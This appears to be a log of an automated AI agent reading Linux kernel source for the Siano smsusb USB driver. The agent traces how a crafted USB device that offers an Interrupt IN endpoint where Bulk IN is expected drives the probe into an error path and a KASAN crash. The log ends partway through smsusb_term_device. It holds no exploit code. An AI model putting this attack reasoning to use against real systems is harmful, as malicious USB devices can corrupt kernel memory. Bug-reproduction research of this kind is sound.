 632:			.driver_info = SMS1XXX_BOARD_SIANO_STELLAR_ROM },
 633:		/* This device pops up after firmware load */
 634:		{ USB_DEVICE(0x187f, 0x0100),
 635:			.driver_info = SMS1XXX_BOARD_SIANO_STELLAR },
 636:	
 637:		{ USB_DEVICE(0x187f, 0x0200),
 638:			.driver_info = SMS1XXX_BOARD_SIANO_NOVA_A },
 639:		{ USB_DEVICE(0x187f, 0x0201),
 640:			.driver_info = SMS1XXX_BOARD_SIANO_NOVA_B },
 641:		{ USB_DEVICE(0x187f, 0x0300),
 642:			.driver_info = SMS1XXX_BOARD_SIANO_VEGA },
 643:		{ USB_DEVICE(0x2040, 0x1700),
 644:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_CATAMOUNT },
 645:		{ USB_DEVICE(0x2040, 0x1800),
 646:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_OKEMO_A },
 647:		{ USB_DEVICE(0x2040, 0x1801),
 648:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_OKEMO_B },
 649:		{ USB_DEVICE(0x2040, 0x2000),
 650:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 651:		{ USB_DEVICE(0x2040, 0x2009),
 652:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD_R2 },
 653:		{ USB_DEVICE(0x2040, 0x200a),
 654:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 655:		{ USB_DEVICE(0x2040, 0x2010),
 656:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 657:		{ USB_DEVICE(0x2040, 0x2011),
 658:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 659:		{ USB_DEVICE(0x2040, 0x2019),
 660:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 661:		{ USB_DEVICE(0x2040, 0x5500),
 662:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 663:		{ USB_DEVICE(0x2040, 0x5510),
 664:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 665:		{ USB_DEVICE(0x2040, 0x5520),
 666:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 667:		{ USB_DEVICE(0x2040, 0x5530),
 668:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 669:		{ USB_DEVICE(0x2040, 0x5580),
 670:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 671:		{ USB_DEVICE(0x2040, 0x5590),
 672:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 673:		{ USB_DEVICE(0x2040, 0xb900),
 674:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 675:		{ USB_DEVICE(0x2040, 0xb910),
 676:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 677:		{ USB_DEVICE(0x2040, 0xb980),
 678:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
]

96/5 2026/09/04 10:28 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 10315
							output: 41
							thoughts: 116
						

Thoughts:
**My Thought Process Regarding the USB Endpoint Vulnerability**

Alright, so the initial check confirms my suspicion: the `0x187f, 0x0010` device entry is indeed present in our target table. This is a crucial first step because it means the device in question is one we're actively looking to analyze.

Now, I need to delve into the specific vulnerability strategy I'm examining. The core of it hinges on a particular expectation of the driver. It's designed to anticipate a **Bulk IN endpoint**. However, the driver's validation logic, as described, is somewhat lenient. It appears to only verify the direction of the endpoint, specifically checking for `USB_DIR_IN`. This is a potential weak point.

The strategy then proposes a clever manipulation: what if, instead of providing the expected Bulk IN endpoint, we substitute an **Interrupt IN endpoint**? My understanding is that `usb_submit_urb()`, the function responsible for submitting USB request blocks (URBs), should inherently detect this discrepancy. The key is the "pipe type mismatch." If an Interrupt IN endpoint is presented where a Bulk IN endpoint is expected, `usb_submit_urb()` is supposed to reject the URB. The specific error code it should return is `-EINVAL`, indicating an invalid argument or operation.

The beauty of this strategy, as outlined, is the cascading effect of this rejection. This `-EINVAL` error, originating from `usb_submit_urb()`, is expected to immediately divert the control flow into the driver's cleanup path. And it's *within* this cleanup path that the KASAN (Kernel Address Sanitizer) crash is predicted to occur. This suggests that the cleanup logic itself might be flawed, perhaps attempting to access memory that's no longer valid or in an unexpected state, triggered by the premature termination due to the endpoint type mismatch.

To fully validate this line of reasoning, my immediate next step is to scrutinize the `smsusb_probe` function. This function is where the driver's initial setup and endpoint handling typically occur during device enumeration. I need to see precisely how `smsusb_probe` interacts with USB endpoints, how it identifies their types, and how it sets them up. Understanding this part of the code will reveal whether it indeed allows for the substitution of an Interrupt IN endpoint and how it subsequently manages or fails to manage the URB submission process, ultimately leading to the predicted crash.


97/5 2026/09/04 10:28 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_probe]

Results:
map[SourceCode: 505:	static int smsusb_probe(struct usb_interface *intf,
 506:				const struct usb_device_id *id)
 507:	{
 508:		struct usb_device *udev = interface_to_usbdev(intf);
 509:		char devpath[32];
 510:		int i, rc;
 511:	
 512:		pr_info("board id=%lu, interface number %d\n",
 513:			 id->driver_info,
 514:			 intf->cur_altsetting->desc.bInterfaceNumber);
 515:	
 516:		if (sms_get_board(id->driver_info)->intf_num !=
 517:		    intf->cur_altsetting->desc.bInterfaceNumber) {
 518:			pr_debug("interface %d won't be used. Expecting interface %d to popup\n",
 519:				intf->cur_altsetting->desc.bInterfaceNumber,
 520:				sms_get_board(id->driver_info)->intf_num);
 521:			return -ENODEV;
 522:		}
 523:	
 524:		if (intf->num_altsetting > 1) {
 525:			rc = usb_set_interface(udev,
 526:					       intf->cur_altsetting->desc.bInterfaceNumber,
 527:					       0);
 528:			if (rc < 0) {
 529:				pr_err("usb_set_interface failed, rc %d\n", rc);
 530:				return rc;
 531:			}
 532:		}
 533:	
 534:		pr_debug("smsusb_probe %d\n",
 535:		       intf->cur_altsetting->desc.bInterfaceNumber);
 536:		for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; i++) {
 537:			pr_debug("endpoint %d %02x %02x %d\n", i,
 538:			       intf->cur_altsetting->endpoint[i].desc.bEndpointAddress,
 539:			       intf->cur_altsetting->endpoint[i].desc.bmAttributes,
 540:			       intf->cur_altsetting->endpoint[i].desc.wMaxPacketSize);
 541:			if (intf->cur_altsetting->endpoint[i].desc.bEndpointAddress &
 542:			    USB_DIR_IN)
 543:				rc = usb_clear_halt(udev, usb_rcvbulkpipe(udev,
 544:					intf->cur_altsetting->endpoint[i].desc.bEndpointAddress));
 545:			else
 546:				rc = usb_clear_halt(udev, usb_sndbulkpipe(udev,
 547:					intf->cur_altsetting->endpoint[i].desc.bEndpointAddress));
 548:		}
 549:		if ((udev->actconfig->desc.bNumInterfaces == 2) &&
 550:		    (intf->cur_altsetting->desc.bInterfaceNumber == 0)) {
 551:			pr_debug("rom interface 0 is not used\n");
 552:			return -ENODEV;
 553:		}
 554:	
 555:		if (id->driver_info == SMS1XXX_BOARD_SIANO_STELLAR_ROM) {
 556:			/* Detected a Siano Stellar uninitialized */
 557:	
 558:			snprintf(devpath, sizeof(devpath), "usb\\%d-%s",
 559:				 udev->bus->busnum, udev->devpath);
 560:			pr_info("stellar device in cold state was found at %s.\n",
 561:				devpath);
 562:			rc = smsusb1_load_firmware(
 563:					udev, smscore_registry_getmode(devpath),
 564:					id->driver_info);
 565:	
 566:			/* This device will reset and gain another USB ID */
 567:			if (!rc)
 568:				pr_info("stellar device now in warm state\n");
 569:			else
 570:				pr_err("Failed to put stellar in warm state. Error: %d\n",
 571:				       rc);
 572:	
 573:			return rc;
 574:		} else {
 575:			rc = smsusb_init_device(intf, id->driver_info);
 576:		}
 577:	
 578:		pr_info("Device initialized with return code %d\n", rc);
 579:		sms_board_load_modules(id->driver_info);
 580:		return rc;
 581:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

98/5 2026/09/04 10:28 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 11806
							output: 42
							thoughts: 383
						

Thoughts:
**My Thought Process Regarding the Siano USB Driver Bug**

My immediate reaction to the bug report was a moment of confusion. The trace clearly shows `smsusb_init_device` being called, but my understanding of the `smsusb_id_table` logic suggests otherwise for a particular device ID. Specifically, I recall that if the `id->driver_info` matches `SMS1XXX_BOARD_SIANO_STELLAR_ROM`, the code is designed to call `smsusb_load_firmware` and then return, explicitly *avoiding* a call to `smsusb_init_device`.

However, the bug report's call stack is undeniable: `smsusb_term_device` leads to `smsusb_init_device`, which then leads to `smsusb_probe`. This implies that `smsusb_init_device` *must* have been invoked at some point. This contradiction is the crux of my current line of thought.

I'm focusing on the specific device identifier `USB_DEVICE(0x187f, 0x0010)`. My analysis suggests that if this ID is indeed `SMS1XXX_BOARD_SIANO_STELLAR_ROM`, then the code should enter the `if` branch I mentioned, and `smsusb_init_device` should *not* be called. This is the core of the discrepancy I need to resolve.

To get to the bottom of this, I'm revisiting the `smsusb_id_table` with renewed attention. I'm looking for entries that might clarify how different device IDs map to different driver configurations. My current hypothesis is that the `SMS1XXX_BOARD_SIANO_STELLAR_ROM` identifier is being incorrectly associated or perhaps the device ID itself needs to be re-examined in relation to the expected firmware loading path.

My attention then shifts to the specific entry I found:
```c
	/* This device pops up after firmware load */
	{ USB_DEVICE(0x187f, 0x0100),
		.driver_info = SMS1XXX_BOARD_SIANO_STELLAR },
```
This entry is interesting because it uses `USB_DEVICE(0x187f, 0x0100)` and assigns it `SMS1XXX_BOARD_SIANO_STELLAR`. This is a different device ID than the one I was initially concerned about (`0x0010`), and crucially, it *doesn't* have the `_ROM` suffix. This distinction might be key.

My next logical step is to investigate what `sms_get_board` expects in terms of `intf_num` when it encounters `SMS1XXX_BOARD_SIANO_STELLAR`. This function is likely responsible for determining the board type and any associated configurations, and understanding its behavior with this specific board type is essential for understanding why `smsusb_init_device` might or might not be called. I suspect there's a nuanced condition within `sms_get_board` or its calling context that dictates the execution path, and I need to trace that path precisely.


99/5 2026/09/04 10:28 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:sms_get_board]

Results:
map[SourceCode: 152:	struct sms_board *sms_get_board(unsigned id)
 153:	{
 154:		BUG_ON(id >= ARRAY_SIZE(sms_boards));
 155:	
 156:		return &sms_boards[id];
 157:	}
 SourceFile:drivers/media/common/siano/sms-cards.c]

100/5 2026/09/04 10:28 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 12328
							output: 41
							thoughts: 11
						

Thoughts:
**A Deep Dive into the `sms_boards` Array**

My primary focus right now is on dissecting the `sms_boards` array. I need to thoroughly examine its contents and structure to understand how it's being utilized and to identify any potential areas for optimization or refinement. This isn't just a cursory glance; I'm intending to delve into the intricacies of this specific data structure to ensure it aligns perfectly with our current operational needs and future projections.


101/5 2026/09/04 10:28 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/common/siano/sms-cards.c Name:sms_boards]

Results:
map[SourceCode:  12:	static struct sms_board sms_boards[] = {
  13:		[SMS_BOARD_UNKNOWN] = {
  14:			.name	= "Unknown board",
  15:			.type = SMS_UNKNOWN_TYPE,
  16:			.default_mode = DEVICE_MODE_NONE,
  17:		},
  18:		[SMS1XXX_BOARD_SIANO_STELLAR] = {
  19:			.name	= "Siano Stellar Digital Receiver",
  20:			.type	= SMS_STELLAR,
  21:			.default_mode = DEVICE_MODE_DVBT_BDA,
  22:		},
  23:		[SMS1XXX_BOARD_SIANO_NOVA_A] = {
  24:			.name	= "Siano Nova A Digital Receiver",
  25:			.type	= SMS_NOVA_A0,
  26:			.default_mode = DEVICE_MODE_DVBT_BDA,
  27:		},
  28:		[SMS1XXX_BOARD_SIANO_NOVA_B] = {
  29:			.name	= "Siano Nova B Digital Receiver",
  30:			.type	= SMS_NOVA_B0,
  31:			.default_mode = DEVICE_MODE_DVBT_BDA,
  32:		},
  33:		[SMS1XXX_BOARD_SIANO_VEGA] = {
  34:			.name	= "Siano Vega Digital Receiver",
  35:			.type	= SMS_VEGA,
  36:			.default_mode = DEVICE_MODE_CMMB,
  37:		},
  38:		[SMS1XXX_BOARD_HAUPPAUGE_CATAMOUNT] = {
  39:			.name	= "Hauppauge Catamount",
  40:			.type	= SMS_STELLAR,
  41:			.fw[DEVICE_MODE_DVBT_BDA] = SMS_FW_DVBT_STELLAR,
  42:			.default_mode = DEVICE_MODE_DVBT_BDA,
  43:		},
  44:		[SMS1XXX_BOARD_HAUPPAUGE_OKEMO_A] = {
  45:			.name	= "Hauppauge Okemo-A",
  46:			.type	= SMS_NOVA_A0,
  47:			.fw[DEVICE_MODE_DVBT_BDA] = SMS_FW_DVBT_NOVA_A,
  48:			.default_mode = DEVICE_MODE_DVBT_BDA,
  49:		},
  50:		[SMS1XXX_BOARD_HAUPPAUGE_OKEMO_B] = {
  51:			.name	= "Hauppauge Okemo-B",
  52:			.type	= SMS_NOVA_B0,
  53:			.fw[DEVICE_MODE_DVBT_BDA] = SMS_FW_DVBT_NOVA_B,
  54:			.default_mode = DEVICE_MODE_DVBT_BDA,
  55:		},
  56:		[SMS1XXX_BOARD_HAUPPAUGE_WINDHAM] = {
  57:			.name	= "Hauppauge WinTV MiniStick",
  58:			.type	= SMS_NOVA_B0,
  59:			.fw[DEVICE_MODE_ISDBT_BDA] = SMS_FW_ISDBT_HCW_55XXX,
  60:			.fw[DEVICE_MODE_DVBT_BDA]  = SMS_FW_DVBT_HCW_55XXX,
  61:			.default_mode = DEVICE_MODE_DVBT_BDA,
  62:			.rc_codes = RC_MAP_HAUPPAUGE,
  63:			.board_cfg.leds_power = 26,
  64:			.board_cfg.led0 = 27,
  65:			.board_cfg.led1 = 28,
  66:			.board_cfg.ir = 9,
  67:			.led_power = 26,
  68:			.led_lo    = 27,
  69:			.led_hi    = 28,
  70:		},
  71:		[SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD] = {
  72:			.name	= "Hauppauge WinTV MiniCard",
  73:			.type	= SMS_NOVA_B0,
  74:			.fw[DEVICE_MODE_DVBT_BDA] = SMS_FW_DVBT_HCW_55XXX,
  75:			.default_mode = DEVICE_MODE_DVBT_BDA,
  76:			.lna_ctrl  = 29,
  77:			.board_cfg.foreign_lna0_ctrl = 29,
  78:			.rf_switch = 17,
  79:			.board_cfg.rf_switch_uhf = 17,
  80:		},
  81:		[SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD_R2] = {
  82:			.name	= "Hauppauge WinTV MiniCard Rev 2",
  83:			.type	= SMS_NOVA_B0,
  84:			.fw[DEVICE_MODE_DVBT_BDA] = SMS_FW_DVBT_HCW_55XXX,
  85:			.default_mode = DEVICE_MODE_DVBT_BDA,
  86:			.lna_ctrl  = -1,
  87:		},
  88:		[SMS1XXX_BOARD_SIANO_NICE] = {
  89:			.name = "Siano Nice Digital Receiver",
  90:			.type = SMS_NOVA_B0,
  91:			.default_mode = DEVICE_MODE_DVBT_BDA,
  92:		},
  93:		[SMS1XXX_BOARD_SIANO_VENICE] = {
  94:			.name = "Siano Venice Digital Receiver",
  95:			.type = SMS_VEGA,
  96:			.default_mode = DEVICE_MODE_CMMB,
  97:		},
  98:		[SMS1XXX_BOARD_SIANO_STELLAR_ROM] = {
  99:			.name = "Siano Stellar Digital Receiver ROM",
 100:			.type = SMS_STELLAR,
 101:			.default_mode = DEVICE_MODE_DVBT_BDA,
 102:			.intf_num = 1,
 103:		},
 104:		[SMS1XXX_BOARD_ZTE_DVB_DATA_CARD] = {
 105:			.name = "ZTE Data Card Digital Receiver",
 106:			.type = SMS_NOVA_B0,
 107:			.default_mode = DEVICE_MODE_DVBT_BDA,
 108:			.intf_num = 5,
 109:			.mtu = 15792,
 110:		},
 111:		[SMS1XXX_BOARD_ONDA_MDTV_DATA_CARD] = {
 112:			.name = "ONDA Data Card Digital Receiver",
 113:			.type = SMS_NOVA_B0,
 114:			.default_mode = DEVICE_MODE_DVBT_BDA,
 115:			.intf_num = 6,
 116:			.mtu = 15792,
 117:		},
 118:		[SMS1XXX_BOARD_SIANO_MING] = {
 119:			.name = "Siano Ming Digital Receiver",
 120:			.type = SMS_MING,
 121:			.default_mode = DEVICE_MODE_CMMB,
 122:		},
 123:		[SMS1XXX_BOARD_SIANO_PELE] = {
 124:			.name = "Siano Pele Digital Receiver",
 125:			.type = SMS_PELE,
 126:			.default_mode = DEVICE_MODE_ISDBT_BDA,
 127:		},
 128:		[SMS1XXX_BOARD_SIANO_RIO] = {
 129:			.name = "Siano Rio Digital Receiver",
 130:			.type = SMS_RIO,
 131:			.default_mode = DEVICE_MODE_ISDBT_BDA,
 132:		},
 133:		[SMS1XXX_BOARD_SIANO_DENVER_1530] = {
 134:			.name = "Siano Denver (ATSC-M/H) Digital Receiver",
 135:			.type = SMS_DENVER_1530,
 136:			.default_mode = DEVICE_MODE_ATSC,
 137:			.crystal = 2400,
 138:		},
 139:		[SMS1XXX_BOARD_SIANO_DENVER_2160] = {
 140:			.name = "Siano Denver (TDMB) Digital Receiver",
 141:			.type = SMS_DENVER_2160,
 142:			.default_mode = DEVICE_MODE_DAB_TDMB,
 143:		},
 144:		[SMS1XXX_BOARD_PCTV_77E] = {
 145:			.name	= "Hauppauge microStick 77e",
 146:			.type	= SMS_NOVA_B0,
 147:			.fw[DEVICE_MODE_DVBT_BDA] = SMS_FW_DVB_NOVA_12MHZ_B0,
 148:			.default_mode = DEVICE_MODE_DVBT_BDA,
 149:		},
 150:	};
 SourceFile:drivers/media/common/siano/sms-cards.c]

102/5 2026/09/04 10:28 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 14929
							output: 43
							thoughts: 351
						

Thoughts:
**My Thought Process on SMS1XXX Board Initialization**

Right, I'm looking at the `smsusb_probe` function and how it handles different `id->driver_info` values. It seems like the key is understanding how the `intf_num` from the board definition interacts with the USB interface numbers reported by the device itself.

Specifically, for `[SMS1XXX_BOARD_SIANO_STELLAR]`, the default `intf_num` is 0, as it's not explicitly set. However, `[SMS1XXX_BOARD_SIANO_STELLAR_ROM]` has its `intf_num` set to 1.

Now, let's trace the probe logic when I encounter a device identified by `0x187f, 0x0100`, which corresponds to `SMS1XXX_BOARD_SIANO_STELLAR`. The first check in `smsusb_probe` is:

```c
	if (sms_get_board(id->driver_info)->intf_num !=
	    intf->cur_altsetting->desc.bInterfaceNumber) {
		return -ENODEV;
	}
```

This means that for `SMS1XXX_BOARD_SIANO_STELLAR` to be a match, the device's `bInterfaceNumber` must be 0, aligning with the `intf_num` of 0 defined for this board.

If that passes, the next condition I need to consider is:

```c
	if ((udev->actconfig->desc.bNumInterfaces == 2) &&
	    (intf->cur_altsetting->desc.bInterfaceNumber == 0)) {
		pr_debug("rom interface 0 is not used\n");
		return -ENODEV;
	}
```

This is a crucial point. If the device reports `bNumInterfaces == 2` *and* the current interface number is 0, it explicitly returns `-ENODEV`. This implies that for the `SMS1XXX_BOARD_SIANO_STELLAR` to be successfully probed (and not considered a ROM interface that's being ignored), I need the device to report *only one interface*, i.e., `bNumInterfaces = 1`. If `bNumInterfaces` is 1 and `bInterfaceNumber` is 0, this check will pass.

Finally, after these checks, the code branches based on `id->driver_info`:

```c
	if (id->driver_info == SMS1XXX_BOARD_SIANO_STELLAR_ROM) {
        // ... some ROM-specific handling ...
    } else {
		rc = smsusb_init_device(intf, id->driver_info);
	}
```

Since my current scenario is for `SMS1XXX_BOARD_SIANO_STELLAR` (which is not the ROM variant), the `else` block will be executed. This means `smsusb_init_device` will be called. My next step is to dive into what `smsusb_init_device` actually does to understand the subsequent initialization steps.


103/5 2026/09/04 10:28 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_init_device]

Results:
map[SourceCode: 391:	static int smsusb_init_device(struct usb_interface *intf, int board_id)
 392:	{
 393:		struct smsdevice_params_t params;
 394:		struct smsusb_device_t *dev;
 395:		void *mdev;
 396:		int i, rc;
 397:		int align = 0;
 398:	
 399:		/* create device object */
 400:		dev = kzalloc_obj(struct smsusb_device_t);
 401:		if (!dev)
 402:			return -ENOMEM;
 403:	
 404:		memset(&params, 0, sizeof(params));
 405:		usb_set_intfdata(intf, dev);
 406:		dev->udev = interface_to_usbdev(intf);
 407:		dev->state = SMSUSB_DISCONNECTED;
 408:	
 409:		for (i = 0; i < intf->cur_altsetting->desc.bNumEndpoints; i++) {
 410:			struct usb_endpoint_descriptor *desc =
 411:					&intf->cur_altsetting->endpoint[i].desc;
 412:	
 413:			if (desc->bEndpointAddress & USB_DIR_IN) {
 414:				dev->in_ep = desc->bEndpointAddress;
 415:				align = usb_endpoint_maxp(desc) - sizeof(struct sms_msg_hdr);
 416:			} else {
 417:				dev->out_ep = desc->bEndpointAddress;
 418:			}
 419:		}
 420:	
 421:		pr_debug("in_ep = %02x, out_ep = %02x\n", dev->in_ep, dev->out_ep);
 422:		if (!dev->in_ep || !dev->out_ep || align < 0) {  /* Missing endpoints? */
 423:			smsusb_term_device(intf);
 424:			return -ENODEV;
 425:		}
 426:	
 427:		params.device_type = sms_get_board(board_id)->type;
 428:	
 429:		switch (params.device_type) {
 430:		case SMS_STELLAR:
 431:			dev->buffer_size = USB1_BUFFER_SIZE;
 432:	
 433:			params.setmode_handler = smsusb1_setmode;
 434:			params.detectmode_handler = smsusb1_detectmode;
 435:			break;
 436:		case SMS_UNKNOWN_TYPE:
 437:			pr_err("Unspecified sms device type!\n");
 438:			fallthrough;
 439:		default:
 440:			dev->buffer_size = USB2_BUFFER_SIZE;
 441:			dev->response_alignment = align;
 442:	
 443:			params.flags |= SMS_DEVICE_FAMILY2;
 444:			break;
 445:		}
 446:	
 447:		params.device = &dev->udev->dev;
 448:		params.usb_device = dev->udev;
 449:		params.buffer_size = dev->buffer_size;
 450:		params.num_buffers = MAX_BUFFERS;
 451:		params.sendrequest_handler = smsusb_sendrequest;
 452:		params.context = dev;
 453:		usb_make_path(dev->udev, params.devpath, sizeof(params.devpath));
 454:	
 455:		mdev = siano_media_device_register(dev, board_id);
 456:	
 457:		/* register in smscore */
 458:		rc = smscore_register_device(&params, &dev->coredev, 0, mdev);
 459:		if (rc < 0) {
 460:			pr_err("smscore_register_device(...) failed, rc %d\n", rc);
 461:			goto err_unregister_device;
 462:		}
 463:	
 464:		smscore_set_board_id(dev->coredev, board_id);
 465:	
 466:		dev->coredev->is_usb_device = true;
 467:	
 468:		/* initialize urbs */
 469:		for (i = 0; i < MAX_URBS; i++) {
 470:			dev->surbs[i].dev = dev;
 471:			dev->surbs[i].urb = usb_alloc_urb(0, GFP_KERNEL);
 472:			if (!dev->surbs[i].urb)
 473:				goto err_unregister_device;
 474:		}
 475:	
 476:		pr_debug("smsusb_start_streaming(...).\n");
 477:		rc = smsusb_start_streaming(dev);
 478:		if (rc < 0) {
 479:			pr_err("smsusb_start_streaming(...) failed\n");
 480:			goto err_unregister_device;
 481:		}
 482:	
 483:		dev->state = SMSUSB_ACTIVE;
 484:	
 485:		rc = smscore_start_device(dev->coredev);
 486:		if (rc < 0) {
 487:			pr_err("smscore_start_device(...) failed\n");
 488:			goto err_unregister_device;
 489:		}
 490:	
 491:		pr_debug("device 0x%p created\n", dev);
 492:	
 493:		return rc;
 494:	
 495:	err_unregister_device:
 496:		/* smsusb_term_device() frees any allocated urb. */
 497:		smsusb_term_device(intf);
 498:	#ifdef CONFIG_MEDIA_CONTROLLER_DVB
 499:		media_device_unregister(mdev);
 500:	#endif
 501:		kfree(mdev);
 502:		return rc;
 503:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

104/5 2026/09/04 10:28 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 17058
							output: 43
							thoughts: 21
						

Thoughts:
**My Thought Process Regarding `smsusb_init_device` and `smsusb_start_streaming`**

Alright, so I'm looking at the `smsusb_init_device` function, and the first thing that jumps out at me is that it immediately proceeds to call `smsusb_start_streaming(dev)`. This tells me that the initialization of the device, within the context of `smsusb_init_device`, is intrinsically tied to initiating the streaming process. It's not like `smsusb_init_device` is just setting up the hardware's static configuration and then returning; it's actively moving towards the operational state of data flow right from the get-go. This implies that for this particular USB driver, the "initialized" state of the device is effectively the state where it's prepared to start sending or receiving data. I'd be interested to see the internals of `smsusb_start_streaming` to understand precisely *what* that entails in terms of setting up the actual data paths, buffers, and any necessary communication protocols for the device to begin its intended function. It suggests a rather direct and immediate transition from initial setup to active operation.


105/5 2026/09/04 10:28 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_start_streaming]

Results:
map[SourceCode: 192:	static int smsusb_start_streaming(struct smsusb_device_t *dev)
 193:	{
 194:		int i, rc;
 195:	
 196:		for (i = 0; i < MAX_URBS; i++) {
 197:			rc = smsusb_submit_urb(dev, &dev->surbs[i]);
 198:			if (rc < 0) {
 199:				pr_err("smsusb_submit_urb(...) failed\n");
 200:				smsusb_stop_streaming(dev);
 201:				break;
 202:			}
 203:		}
 204:	
 205:		return rc;
 206:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

106/5 2026/09/04 10:28 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 17344
							output: 43
							thoughts: 9
						

Thoughts:
**My Internal Monologue on `smsusb_submit_urb`**

Ah, `smsusb_submit_urb`. This is where things get interesting, isn't it? I'm currently diving into the nitty-gritty of how this particular USB submission routine operates, and it's proving to be a complex but ultimately revealing piece of the puzzle. My immediate thought upon seeing this function signature is one of focused intent: `smsusb_submit_urb` clearly signifies the *submission* of a USB Request Block (URB) by the `smsusb` driver.

I'm already anticipating a deep dive into the lifecycle of a URB within this context. My mind immediately goes to the preceding steps: the construction of this URB, its population with the necessary data and descriptors, and the context from which it's being initiated. Is it part of a larger data transfer, a control request, or perhaps a command to the underlying USB device? The name itself doesn't reveal the *why*, but it certainly defines the *what* – an act of sending a prepared request out onto the USB bus.

I'm also thinking about the parameters that likely accompany this function. There must be the URB itself, of course, but I'd expect to see a pointer to the device context, perhaps a handle to the endpoint it's destined for, and any flags or control bits that dictate the submission's behavior. Is this a synchronous or asynchronous submission? Will the driver block until the URB is processed, or will it be handed off to the USB core for later completion? This function is the gateway, and its behavior will dictate how the driver interacts with the USB hardware at a granular level.

Furthermore, I'm considering the implications for resource management. Submitting a URB implies allocating memory for it, potentially transferring data to DMA buffers, and managing its state throughout the submission and completion phases. I'm already preparing to trace the memory allocation and deallocation paths, and to understand how the driver handles potential errors during this submission process. What happens if the USB core rejects the URB? What are the error codes I should be looking for?

Ultimately, my focus with `smsusb_submit_urb` is on understanding its role as a critical juncture. It's the point where the driver's logical operations are translated into concrete, hardware-level requests. My goal is to meticulously follow the flow from here, understanding how the URB is queued, how it interacts with the USB host controller, and what callbacks or completion handlers are invoked when its associated operation concludes. This function is a key control point, and mastering its intricacies is essential for a complete understanding of the `smsusb` driver's USB communication strategy.


107/5 2026/09/04 10:28 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_submit_urb]

Results:
map[SourceCode: 150:	static int smsusb_submit_urb(struct smsusb_device_t *dev,
 151:				     struct smsusb_urb_t *surb)
 152:	{
 153:		if (!surb->cb) {
 154:			/* This function can sleep */
 155:			surb->cb = smscore_getbuffer(dev->coredev);
 156:			if (!surb->cb) {
 157:				pr_err("smscore_getbuffer(...) returned NULL\n");
 158:				return -ENOMEM;
 159:			}
 160:		}
 161:	
 162:		usb_fill_bulk_urb(
 163:			surb->urb,
 164:			dev->udev,
 165:			usb_rcvbulkpipe(dev->udev, dev->in_ep),
 166:			surb->cb->p,
 167:			dev->buffer_size,
 168:			smsusb_onresponse,
 169:			surb
 170:		);
 171:		surb->urb->transfer_flags |= URB_FREE_BUFFER;
 172:	
 173:		return usb_submit_urb(surb->urb, GFP_ATOMIC);
 174:	}
 SourceFile:drivers/media/usb/siano/smsusb.c]

108/5 2026/09/04 10:28 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 17770
							output: 43
							thoughts: 107
						

Thoughts:
**The Eureka Moment in USB Streaming**

Ah, I see it now! The root of the problem with `smsusb_start_streaming` returning a negative value lies in the fundamental assumptions made by `usb_fill_bulk_urb`. This function, as its name implies, is meticulously designed to construct a URB (USB Request Block) specifically for bulk transfer endpoints. However, my current implementation, or perhaps the hardware configuration I'm dealing with, is presenting an interrupt endpoint where a bulk endpoint is expected.

When `usb_submit_urb` is called with a URB that's been prepped for bulk but is being directed at an interrupt endpoint, it's a mismatch. The kernel's USB subsystem recognizes this incompatibility and, quite rightly, flags it as an invalid operation by returning `-EINVAL`. This is the direct cause of `smsusb_start_streaming` failing to initialize the streaming process. The error propagation is then clear: the negative return code from `smsusb_start_streaming` triggers the error handling within `smsusb_init_device`, leading it down the `err_unregister_device` path, and consequently, to the cleanup routine `smsusb_term_device(intf)`. So, the issue isn't with the submission mechanism itself, but with the endpoint type mismatch, which `usb_fill_bulk_urb` can't magically overcome.


109/5 2026/09/04 10:28 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/media/usb/siano/smsusb.c Name:smsusb_term_device]

Results:
map[SourceCode: 336:	static void smsusb_term_device(struct usb_interface *intf)
 337:	{
 338:		struct smsusb_device_t *dev = usb_get_intfdata(intf);
 339:	
 340:		if (dev) {
 341:			int i;
 342:	
 343:			dev->state = SMSUSB_DISCONNECTED;
 344:	
 345:			smsusb_stop_streaming(dev);
 346:	
 347:			/* unregister from smscore */
 348:			if (dev->coredev)
 349:				smscore_unregister_device(dev->coredev);
